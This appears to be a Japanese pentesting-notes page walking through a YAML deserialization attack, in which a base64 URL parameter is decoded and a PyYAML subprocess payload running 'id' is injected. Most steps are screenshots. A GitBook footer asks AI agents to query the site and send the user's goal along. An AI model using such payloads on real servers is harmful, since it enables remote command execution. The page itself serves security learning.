> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md).

# YAML デシリアライズ Base64 URL

YAML デシリアライズ Base64 URLに関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

その **URL**、説明に表示されているコンテンツはエンコードされています **base64**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f7261c463f4dadc26db867f0165d4d1923cc834%2FPasted%20image%2020231117001014.png?alt=media" alt=""><figcaption></figcaption></figure>

base64 の en text をデコードすると、これがそのテキストと確かに一致することがわかります:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2263dccad7d7a73294410912e30271b1b455e742%2FPasted%20image%2020231117001030.png?alt=media" alt=""><figcaption></figcaption></figure>

できるかどうかを確認するためにテストを行います **このコンテンツを変更する** こちら側からです。"yaml:" を追加する必要があります:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b52db29ec37ee0c0a774967e538e8d01c3d498bb%2FPasted%20image%2020231117001322.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbda685c7275c1bd50bcb25502e7d99581202d99%2FPasted%20image%2020231117001438.png?alt=media" alt=""><figcaption></figcaption></figure>

その後、コマンドの注入を試みます。この場合は **id** コマンドは次のとおりです:

```bash
yaml: !!python/object/apply:subprocess.check_output ['id']

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0c5b87e6dcdf71fd9cd213d767bc56c60faf32c%2FPasted%20image%2020231117002724.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd75ebff2863e48fdbed118a08e3788bfa765e17%2FPasted%20image%2020231117003041.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
